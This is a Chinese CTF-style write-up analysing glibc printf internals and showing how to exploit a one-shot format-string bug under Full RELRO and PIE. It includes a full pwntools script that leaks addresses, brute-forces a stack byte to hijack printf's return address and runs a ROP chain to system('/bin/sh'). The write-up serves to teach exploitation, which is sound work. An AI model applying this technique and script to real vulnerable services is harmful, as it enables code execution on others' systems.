-
-
[原创]格式化字符串打出没有回头路(下)——回头望月
-
2024-5-28 08:52 32682
-
在我的前篇文章的最后提出了以下问题。在只有一次的格式字符串过程中,如果采用-z noww
的编译选项该如何处理,代码如下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 | #include <stdio.h> #include <stdlib.h> #include <unistd.h> #define BUFLEN 0x60 int init_func(){ setvbuf (stdin,0,2,0); setvbuf (stdout,0,2,0); setvbuf (stderr,0,2,0); return 0; } int dofunc(){ char buf[BUFLEN]; puts ( "input" ); read(0, buf, BUFLEN); printf (buf); _exit(0); return 0; } int main(){ init_func(); dofunc(); return 0; } // gcc -z now fmt_st.c -o fmt_strx64 |
题目存在的困难如下
- 保护模式为
Full RELRO
,不能攻击fini_array
。 - 程序只能执行一次,因为执行的是
_exit
函数,所以也无法进行EOP的攻击。 - 开启PIE,程序加载地址随机。
保护情况如下
1 2 3 4 5 | Arch: amd64 - 64 - little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled |
2.printf
函数源码分析
要攻击printf
函数内部栈,就需要对函数进行更进一步的源码了解。以下以glibc2.31
为例,其他版本差距不大。
1.概述
printf
涉及主要有3个函数__vfprintf_internal buffered_vfprintf printf_positional
,其中,buffered_vfprintf
是关闭缓冲区才需要调用的函数,printf_positional
时需要定位时才调用的函数(类似于%4$p
),函数对字符的处理并没有像IO_FILE
一样使用虚表,而是使用了goto
这种反人类的编程语句,并且为c语言标准预留了所有的可执行虚表空间,如果以后增加标准格式可以快速实现。在关闭缓冲区后一般的调用过程如下。
1 | printf => __vfprintf_internal => buffered_vfprintf => __vfprintf_internal => printf_positional |
2.准备工作
1.跳转程序的处理逻辑
printf
使用的是goto
来进行跳转,它定义了一个跳表数组来表示格式化字符,其中字符所对应的数字是由stepX_jumps
中的跳表偏移进行计算。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 | // /stdio-common/vfprintf-internal.c static const uint8_t jump_table[] = { /* ' ' */ 1, 0, 0, /* '#' */ 4, 0, /* '%' */ 14, 0, /* '\''*/ 6, 0, 0, /* '*' */ 7, /* '+' */ 2, 0, /* '-' */ 3, /* '.' */ 9, 0, /* '0' */ 5, /* '1' */ 8, /* '2' */ 8, /* '3' */ 8, /* '4' */ 8, /* '5' */ 8, /* '6' */ 8, /* '7' */ 8, /* '8' */ 8, /* '9' */ 8, 0, 0, 0, 0, 0, 0, 0, /* 'A' */ 26, 0, /* 'C' */ 25, 0, /* 'E' */ 19, /* F */ 19, /* 'G' */ 19, 0, /* 'I' */ 29, 0, 0, /* 'L' */ 12, 0, 0, 0, 0, 0, 0, /* 'S' */ 21, 0, 0, 0, 0, /* 'X' */ 18, 0, /* 'Z' */ 13, 0, 0, 0, 0, 0, 0, /* 'a' */ 26, 0, /* 'c' */ 20, /* 'd' */ 15, /* 'e' */ 19, /* 'f' */ 19, /* 'g' */ 19, /* 'h' */ 10, /* 'i' */ 15, /* 'j' */ 28, 0, /* 'l' */ 11, /* 'm' */ 24, /* 'n' */ 23, /* 'o' */ 17, /* 'p' */ 22, /* 'q' */ 12, 0, /* 's' */ 21, /* 't' */ 27, /* 'u' */ 16, 0, 0, /* 'x' */ 18, 0, /* 'z' */ 13 }; #define CHAR_CLASS(Ch) (jump_table[(INT_T) (Ch) - L_(' ')]) |
以step0_jumps
为例,其中'REF (width)
与REF (form_unknown)
偏移为8,所以jump_table
中1-9
代表的值都是8。REF (width)
则代表真实的地址差。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 | static JUMP_TABLE_TYPE step0_jumps[30] = \ { \ REF (form_unknown), \ REF (flag_space), /* for ' ' */ \ REF (flag_plus), /* for '+' */ \ REF (flag_minus), /* for '-' */ \ REF (flag_hash), /* for '<hash>' */ \ REF (flag_zero), /* for '0' */ \ REF (flag_quote), /* for '\'' */ \ REF (width_asterics), /* for '*' */ \ REF (width), /* for '1'...'9' */ \ REF (precision), /* for '.' */ \ REF (mod_half), /* for 'h' */ \ REF (mod_long), /* for 'l' */ \ REF (mod_longlong), /* for 'L', 'q' */ \ REF (mod_size_t), /* for 'z', 'Z' */ \ REF (form_percent), /* for '%' */ \ REF (form_integer), /* for 'd', 'i' */ \ REF (form_unsigned), /* for 'u' */ \ REF (form_octal), /* for 'o' */ \ REF (form_hexa), /* for 'X', 'x' */ \ REF (form_float), /* for 'E', 'e', 'F', 'f', 'G', 'g' */ \ REF (form_character), /* for 'c' */ \ REF (form_string), /* for 's', 'S' */ \ REF (form_pointer), /* for 'p' */ \ REF (form_number), /* for 'n' */ \ REF (form_strerror), /* for 'm' */ \ REF (form_wcharacter), /* for 'C' */ \ REF (form_floathex), /* for 'A', 'a' */ \ REF (mod_ptrdiff_t), /* for 't' */ \ REF (mod_intmax_t), /* for 'j' */ \ REF (flag_i18n), /* for 'I' */ \ }; # define JUMP_TABLE_BASE_LABEL do_form_unknown # define REF(Name) &&do_##Name - &&JUMP_TABLE_BASE_LABEL |
当程序中进行JUMP (*++f, step0_jumps);
跳转时,则调到step0_jumps[8]
处所代表的值,则是程序的真实偏移地址。
1 2 3 4 5 6 7 8 9 10 11 12 | JUMP (*++f, step0_jumps); # define JUMP(ChExpr, table) \ do \ { \ const void *ptr; \ spec = (ChExpr); \ ptr = NOT_IN_JUMP_RANGE (spec) ? REF (form_unknown) \ : table[CHAR_CLASS (spec)]; \ goto *ptr; \ } \ while (0) #endif |
同时,程序使用LABEL
来定义跳转位置,并设置参数。
1 2 3 4 | #define LABEL(Name) do_##Name LABEL (flag_space): space = 1; JUMP (*++f, step0_jumps); |
2.程序输出
程序的输出主要使用outstring
,最终还是调用IO_FILE
的xsputn
函数。代码在/stdio-common/vfprintf-internal.c
中。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 | # define PUT(F, S, N) _IO_sputn ((F), (S), (N)) #define outchar(Ch) \ do \ { \ const INT_T outc = (Ch); \ if (PUTC (outc, s) == EOF || done == INT_MAX) \ { \ done = -1; \ goto all_done; \ } \ ++done; \ } \ while (0) #define outstring(String, Len) \ do \ { \ assert (( size_t ) done <= ( size_t ) INT_MAX); \ if (( size_t ) PUT (s, (String), (Len)) != ( size_t ) (Len)) \ { \ done = -1; \ goto all_done; \ } \ if (__glibc_unlikely (INT_MAX - done < (Len))) \ { \ done = -1; \ __set_errno (EOVERFLOW); \ goto all_done; \ } \ done += (Len); \ } \ while (0) |
需要注意的是在glibc2.34
后实现了outstring_func
函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | # define PUT(F, S, N) _IO_sputn ((F), (S), (N)) static inline int outstring_func ( FILE *s, const UCHAR_T *string, size_t length, int done) { assert (( size_t ) done <= ( size_t ) INT_MAX); if (( size_t ) PUT (s, string, length) != ( size_t ) (length)) return -1; return done_add_func (length, done); } #define outstring(String, Len) \ do \ { \ const void *string_ = (String); \ done = outstring_func (s, string_, (Len), done); \ if (done < 0) \ goto all_done; \ } \ while (0) |
程序还有一个填充输出函数,类似于%100a
在输出前填充的空格,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 | static inline int pad_func ( FILE *s, CHAR_T padchar, int width, int done) { if (width > 0) { ssize_t written; #ifndef COMPILE_WPRINTF written = _IO_padn (s, padchar, width); #else written = _IO_wpadn (s, padchar, width); #endif if (__glibc_unlikely (written != width)) return -1; return done_add_func (width, done); } return done; } #define PAD(Padchar) \ do \ { \ done = pad_func (s, (Padchar), width, done); \ if (done < 0) \ goto all_done; \ } \ while (0) |
其中_IO_padn
在/libio/iopadn.c
中,最终还是调用IO_FILE
的xsputn
函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 | ssize_t _IO_padn ( FILE *fp, int pad, ssize_t count) { char padbuf[PADSIZE]; const char *padptr; int i; size_t written = 0; size_t w; if (pad == ' ' ) padptr = blanks; else if (pad == '0' ) padptr = zeroes; else { for (i = PADSIZE; --i >= 0; ) padbuf[i] = pad; padptr = padbuf; } for (i = count; i >= PADSIZE; i -= PADSIZE) { w = _IO_sputn (fp, padptr, PADSIZE); written += w; if (w != PADSIZE) return written; } if (i > 0) { w = _IO_sputn (fp, padptr, i); written += w; } return written; } libc_hidden_def (_IO_padn) |
3.跳表
程序中定义了2组共4个跳表,分别是STEP0_3_TABLE
和STEP0_4_TABLE
,跳表是按照字符顺序进行。例如,第一个跳表基本上所有的都有定义,到了第四个跳表则定义很少,如下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 | #define STEP4_TABLE \ /* Step 4: processing format specifier. */ \ static JUMP_TABLE_TYPE step4_jumps[30] = \ { \ REF (form_unknown), \ REF (form_unknown), /* for ' ' */ \ REF (form_unknown), /* for '+' */ \ REF (form_unknown), /* for '-' */ \ REF (form_unknown), /* for '<hash>' */ \ REF (form_unknown), /* for '0' */ \ REF (form_unknown), /* for '\'' */ \ REF (form_unknown), /* for '*' */ \ REF (form_unknown), /* for '1'...'9' */ \ REF (form_unknown), /* for '.' */ \ REF (form_unknown), /* for 'h' */ \ REF (form_unknown), /* for 'l' */ \ REF (form_unknown), /* for 'L', 'q' */ \ REF (form_unknown), /* for 'z', 'Z' */ \ REF (form_percent), /* for '%' */ \ REF (form_integer), /* for 'd', 'i' */ \ REF (form_unsigned), /* for 'u' */ \ REF (form_octal), /* for 'o' */ \ REF (form_hexa), /* for 'X', 'x' */ \ REF (form_float), /* for 'E', 'e', 'F', 'f', 'G', 'g' */ \ REF (form_character), /* for 'c' */ \ REF (form_string), /* for 's', 'S' */ \ REF (form_pointer), /* for 'p' */ \ REF (form_number), /* for 'n' */ \ REF (form_strerror), /* for 'm' */ \ REF (form_wcharacter), /* for 'C' */ \ REF (form_floathex), /* for 'A', 'a' */ \ REF (form_unknown), /* for 't' */ \ REF (form_unknown), /* for 'j' */ \ REF (form_unknown) /* for 'I' */ \ } |
3.主要函数分析
1.printf
典型的GUN
软链接,调用__vfprintf_internal
,在/stdio-common/printf.c
中。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | // /stdio-common/printf.c int __printf ( const char *format, ...) { va_list arg; int done; va_start (arg, format); // 主要函数 done = __vfprintf_internal (stdout, format, arg, 0); va_end (arg); return done; } #undef _IO_printf ldbl_strong_alias (__printf, printf ); ldbl_strong_alias (__printf, _IO_printf); |
2.__vfprintf_internal
(vfprintf
)
简单宏定义,即为vfprintf
函数,在/stdio-common/vfprintf-internal.c
中。
1 2 | # define vfprintf __vfprintf_internal int vfprintf ( FILE *s, const CHAR_T *format, va_list ap, unsigned int mode_flags) |
vfprintf
经过一系列参数定义、格式化字符定义、检测及非格式化字符输出之后就进入格式化字符处理流程,在每一个处理流程过程中设置相应的参数。
1 2 3 | LABEL (flag_space): space = 1; JUMP (*++f, step0_jumps); |
大部分跳转我们并不在意,只重点说明以下几个,LABEL (form_unknown)
就执行结束了,也就是遇到非格式化字符串就是啥都不干。
1 2 3 4 5 6 7 8 | LABEL (form_unknown): if (spec == L_( '\0' )) { /* The format string ended before the specifier is complete. */ __set_errno (EINVAL); done = -1; goto all_done; } |
当存在$
时则执行goto do_positional
1 2 3 4 | do_positional: done = printf_positional (s, format, readonly_format, ap, &ap_save, done, nspecs_done, lead_str_end, work_buffer, save_errno, grouping, thousands_sep, mode_flags); |
3.printf_positional
printf_positional
函数是对我们来说比较重要的,属于但独立于vfprintf
的函数,需要参数很多。在cccccccccccc
中。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 | int printf_positional ( FILE *s, const CHAR_T *format, int readonly_format, va_list ap, va_list *ap_savep, int done, int nspecs_done, const UCHAR_T *lead_str_end, CHAR_T *work_buffer, int save_errno, const char *grouping, THOUSANDS_SEP_T thousands_sep, unsigned int mode_flags) // 传入参数定义如下 /* The character used as thousands separator. */ THOUSANDS_SEP_T thousands_sep = 0; /* The string describing the size of groups of digits. */ const char *grouping; /* Place to accumulate the result. */ int done; // 其中,done是个int类型所以,写入最大为0x7fffffff /* Current character in format string. */ const UCHAR_T *f; /* End of leading constant string. */ const UCHAR_T *lead_str_end; /* Points to next format specifier. */ const UCHAR_T *end_of_spec; /* Buffer intermediate results. */ CHAR_T work_buffer[WORK_BUFFER_SIZE]; CHAR_T *workend; /* We have to save the original argument pointer. */ va_list ap_save; /* Count number of specifiers we already processed. */ int nspecs_done; /* For the %m format we may need the current `errno' value. */ int save_errno = errno ; /* 1 if format is in read-only memory, -1 if it is in writable memory, 0 if unknown. */ int readonly_format = 0; |
里面函数的处理方式与vfprintf
大致相同,不再过多说明。
4.buffered_vfprintf
这个函数只是在vprintf
输出流没有缓冲区时进行调用,它会新建一个带有缓冲区的IO_FILE
,最后执行完时在将数据拷贝出来。执行过程仍然是调用vprintf
进行输出。在 /stdio-common/vfprintf-internal.c
中
1 2 3 4 | if (UNBUFFERED_P (s)) /* Use a helper function which will allocate a local temporary buffer for the stream and then call us again. */ return buffered_vfprintf (s, format, ap, mode_flags); |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 | static int buffered_vfprintf ( FILE *s, const CHAR_T *format, va_list args, unsigned int mode_flags) { CHAR_T buf[BUFSIZ]; struct helper_file helper; FILE *hp = ( FILE *) &helper._f; int result, to_flush; /* Orient the stream. */ #ifdef ORIENT ORIENT; #endif /* Initialize helper. */ helper._put_stream = s; #ifdef COMPILE_WPRINTF hp->_wide_data = &helper._wide_data; _IO_wsetp (hp, buf, buf + sizeof buf / sizeof (CHAR_T)); hp->_mode = 1; #else _IO_setp (hp, buf, buf + sizeof buf); hp->_mode = -1; #endif hp->_flags = _IO_MAGIC|_IO_NO_READS|_IO_USER_LOCK; #if _IO_JUMPS_OFFSET hp->_vtable_offset = 0; #endif #ifdef _IO_MTSAFE_IO hp->_lock = NULL; #endif hp->_flags2 = s->_flags2; _IO_JUMPS (&helper._f) = ( struct _IO_jump_t *) &_IO_helper_jumps; /* Now print to helper instead. */ result = vfprintf (hp, format, args, mode_flags); //仍然调用vprintf /* Lock stream. */ __libc_cleanup_region_start (1, ( void (*) ( void *)) &_IO_funlockfile, s); _IO_flockfile (s); /* Now flush anything from the helper to the S. */ #ifdef COMPILE_WPRINTF if ((to_flush = (hp->_wide_data->_IO_write_ptr - hp->_wide_data->_IO_write_base)) > 0) { if (( int ) _IO_sputn (s, hp->_wide_data->_IO_write_base, to_flush) != to_flush) result = -1; } #else if ((to_flush = hp->_IO_write_ptr - hp->_IO_write_base) > 0) { if (( int ) _IO_sputn (s, hp->_IO_write_base, to_flush) != to_flush) result = -1; } #endif /* Unlock the stream. */ _IO_funlockfile (s); __libc_cleanup_region_end (0); return result; } |
3.解决方案
1.题目分析
通过printf
函数分析可以看出,使用格式化字符串漏洞主要起到作用的是在__vfprintf_internal printf_positional
等函数中,特别是写入功能主要依赖printf_positional
函数。那么,我们就可以想办法修改printf __vfprintf_internal
等函数的返回地址,从而达到一次格式化字符串利用的方法。但是题目仍存在一些需要解决地方。
- 不知道栈地址。要想攻击栈中的返回地址,首先需要知道栈地址,题目没有明确的泄露手段。
- 开启PIE保护,程序加载地址位置。
- 需要泄露
libc
地址。
2.解决方案
既然存在格式化字符串漏洞,那么泄露是非常简单的事情,可以一次泄露出栈地址,libc
地址和程序加载地址,现在面临的问题是:**在不知道栈地址的情况下如何修改程序返回地址。**因为程序在buf[BUFLEN]
变量定义时没有赋值,所以内存中必然保存了之前程序执行过程中的栈地址,可以利用内存中残留的数据进行爆破。
具体流程如下
通过爆破栈的最后一个字节,修改
printf
返回地址,并泄露出需要信息。利用格式化字符串漏洞布置栈帧,通过
ROP
实现getshell
。
3.攻击脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 | #!/usr/bin/env python # coding=utf-8 from pwn import * import pwn_script s = lambda data: io.send(data) sa = lambda delim, data: io.sendafter(delim, data) sl = lambda data: io.sendline(data) sla = lambda delim, data: io.sendlineafter(delim, data) r = lambda num = 4096 : io.recv(num) ru = lambda delims, drop = True : io.recvuntil(delims, drop) itr = lambda : io.interactive() uu32 = lambda data: u32(data.ljust( 4 , '\0' )) uu64 = lambda data: u64(data.ljust( 8 , '\0' )) leak = lambda name, addr: log.success( '{} = {:#x}' . format (name, addr)) if __name__ = = '__main__' : arch = 'amd64' pwn_script.init_pwn_linux(arch) pwnfile = './fmt_str_level_12' elf = ELF(pwnfile) rop = ROP(pwnfile) libc = elf.libc for i in range ( 1 ): try : io = process(pwnfile) # pwn_script.dbg(io,"b printf") ru( 'input\n' ) # 第 20,21,23 个参数分别对应栈地址,文件地址,libc地址 # 最后一个字符 a 为了对齐 payload = b "%20$p%21$p%23$pa" # 0x2b 为已泄露字符的长度 14*3+1 # 0x4d 为 put("input") 地址的最后一个字节,也可以选取其他位置 payload + = b "%" + str ( 0x4d - 0x2b ).encode() + b "c%15$hhn" # 48 == 0x30 ,为了爆破栈的最后一个字节。 payload = payload.ljust( 0x48 ,b 'a' ) + b "\x48" s(payload) # 相继泄露出栈地址,文件地址,libc地址 rbp = int (r( 14 ), 16 ) - 0x10 file_base_addr = int (r( 14 ), 16 ) - 0x12A6 libc_base_addr = int (r( 14 ), 16 ) - 0x270b3 system_addr = libc_base_addr + libc.sym[ "system" ] ret_addr = libc_base_addr + 0x0000000000025679 pop_rdi_addr = libc_base_addr + 0x0000000000026b72 binsh_addr = libc_base_addr + 0x1b75aa print ( "rbp is :" , hex (rbp)) print ( "file_base_addr is :" , hex (file_base_addr)) print ( "libc_base_addr is :" , hex (libc_base_addr)) ru( 'input\n' ) # pwn_script.dbg(io,"b printf") # 重复上面的内容布置栈帧 # 文件地址偏移 0x130e 处为 pop r13;pop r14;pop r15;ret ,弹出3个无用参数 payload = b "%" + str ( (file_base_addr& 0xffff ) + 0x130e ).encode() + b "c%8$hn" payload = payload.ljust( 16 ,b "a" ) # 此处不能填充 00 ,否则会被阶段 payload + = p64(rbp - 0x78 ) payload + = p64(pop_rdi_addr) + p64(binsh_addr) + p64(ret_addr) + p64(system_addr) s(payload) itr() except Exception as e: print ( "错误是 %s" % e) |
攻击成功如下
4.printf
函数其他说明
1.%XX$YYYn
写入数据上下限
格式化字符串的写入比较重要的,所以单独说明。写入过程是在字符串的处理宏中process_arg
(2.36宏变为#include /stdio-common/vfprintf-process-arg.c
),程序太长,截取关键部分。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 | #define process_arg(fspec) \ /* Start real work. We know about all flags and modifiers and \ now process the wanted format specifier. */ \ ...................... \ LABEL (form_number): \ if ((mode_flags & PRINTF_FORTIFY) != 0) \ { \ if (! readonly_format) \ { \ extern int __readonly_area ( const void *, size_t ) \ attribute_hidden; \ readonly_format \ = __readonly_area (format, ((STR_LEN (format) + 1) \ * sizeof (CHAR_T))); \ } \ if (readonly_format < 0) \ __libc_fatal ( "*** %n in writable segment detected ***\n" ); \ } \ /* Answer the count of characters written. */ \ if (fspec == NULL) \ /*以下是写入的过程*/ { \ if (is_longlong) \ *( long long int *) va_arg (ap, void *) = done; \ else if (is_long_num) \ *( long int *) va_arg (ap, void *) = done; \ else if (is_char) \ *( char *) va_arg (ap, void *) = done; \ else if (!is_short) \ *( int *) va_arg (ap, void *) = done; \ else \ *( short int *) va_arg (ap, void *) = done; \ } \ else \ if (is_longlong) \ *( long long int *) args_value[fspec->data_arg].pa_pointer = done; \ else if (is_long_num) \ *( long int *) args_value[fspec->data_arg].pa_pointer = done; \ else if (is_char) \ *( char *) args_value[fspec->data_arg].pa_pointer = done; \ else if (!is_short) \ *( int *) args_value[fspec->data_arg].pa_pointer = done; \ else \ *( short int *) args_value[fspec->data_arg].pa_pointer = done; \ break ; \ \ ......................... |
通过上面看出,如果使用%XXXX$YYln
是可以实现长整型写入的,但是由于done
是int
类型,所以实际写入中前4个字节写入的是done
的符号。
2.__printf_function_table
vprintf
中存在以下过程,
1 2 3 4 | if (__glibc_unlikely (__printf_function_table != NULL || __printf_modifier_table != NULL || __printf_va_arg_table != NULL)) goto do_positional; |
printf_positional
中可以看到__printf_function_table
就是一个自定义函数跳表,执行自己所设计好的流程,但是参数不可控。有个比较有意思的是,glibc
提供__register_printf_specifier
这种函数来为他人添加字符串处理函数,但实际攻击并不好实现。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 | /* Process format specifiers. */ while (1) { extern printf_function **__printf_function_table; int function_done; if (spec <= UCHAR_MAX && __printf_function_table != NULL && __printf_function_table[( size_t ) spec] != NULL) { const void **ptr = alloca (specs[nspecs_done].ndata_args * sizeof ( const void *)); /* Fill in an array of pointers to the argument values. */ for (unsigned int i = 0; i < specs[nspecs_done].ndata_args; ++i) ptr[i] = &args_value[specs[nspecs_done].data_arg + i]; /* Call the function. */ function_done = __printf_function_table[( size_t ) spec] (s, &specs[nspecs_done].info, ptr); if (function_done != -2) { /* If an error occurred we don't have information about # of chars. */ if (function_done < 0) { /* Function has set errno. */ done = -1; goto all_done; } done_add (function_done); break ; } } |
这就是一般意义上的house of husk
,但是,攻击printf
最简单的还是攻击IO,可以利用现有的攻击体系。
3.%xxx$p
为什么无法整数溢出
主要是定位参数时使用了read_int
函数,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 | /* Get width from argument. */ LABEL (width_asterics): { const UCHAR_T *tmp; /* Temporary value. */ tmp = ++f; if (ISDIGIT (*tmp)) { int pos = read_int (&tmp); // 定位函数使用了 read_int 函数 if (pos == -1) { __set_errno (EOVERFLOW); done = -1; goto all_done; } if (pos && *tmp == L_( '$' )) /* The width comes from a positional parameter. */ goto do_positional; } width = va_arg (ap, int ); |
read_int
函数在/stdio-common/printf-parse.h
中,可以看出程序对retval
进行了大小判断,INT_MAX == 0x7fffffff
,所以%xxx$p
这种情况下,xxx
最大只能是0xccccccc
左右,超出后便做溢出异常处理。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 | static int read_int ( const UCHAR_T * *pstr) { int retval = **pstr - L_( '0' ); while (ISDIGIT (*++(*pstr))) if (retval >= 0) { if (INT_MAX / 10 < retval) // retval 最大 (0xccccccc * 10 至 0xccccccc *10 +9) retval = -1; else { int digit = **pstr - L_( '0' ); retval *= 10; if (INT_MAX - digit < retval) // retval = -1; else retval += digit; } } return retval; } #endif // INT_MAX = 0x7fffffff |
4.连打不成立的原理
对于以下情况,假设0x10000
地址处为第10个参数,能否一次性用%24c$10hhn%100c$11hhn
修改0x10018
处的值。
从理论上来说,payload
第一段修改了0x10008
处的值为0x10018
,第二段再修改0x10018
处的值,是可行的。但实际上,libc
会malloc
一块内存,并把以前的参数单独保存下来,从而无法实现连打。
5.总结
可以看出格式化字符串是危害性非常大的漏洞,如果是**栈上的格式化字符串漏洞,内存中有残存栈帧数据,同时输入长度超过0x40,**就可以只利用1次格式化字符串完成攻击。本人利用此方法通杀了至少10+的题目。
相关视频https://www.bilibili.com/video/BV1NC411Y7DU/
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课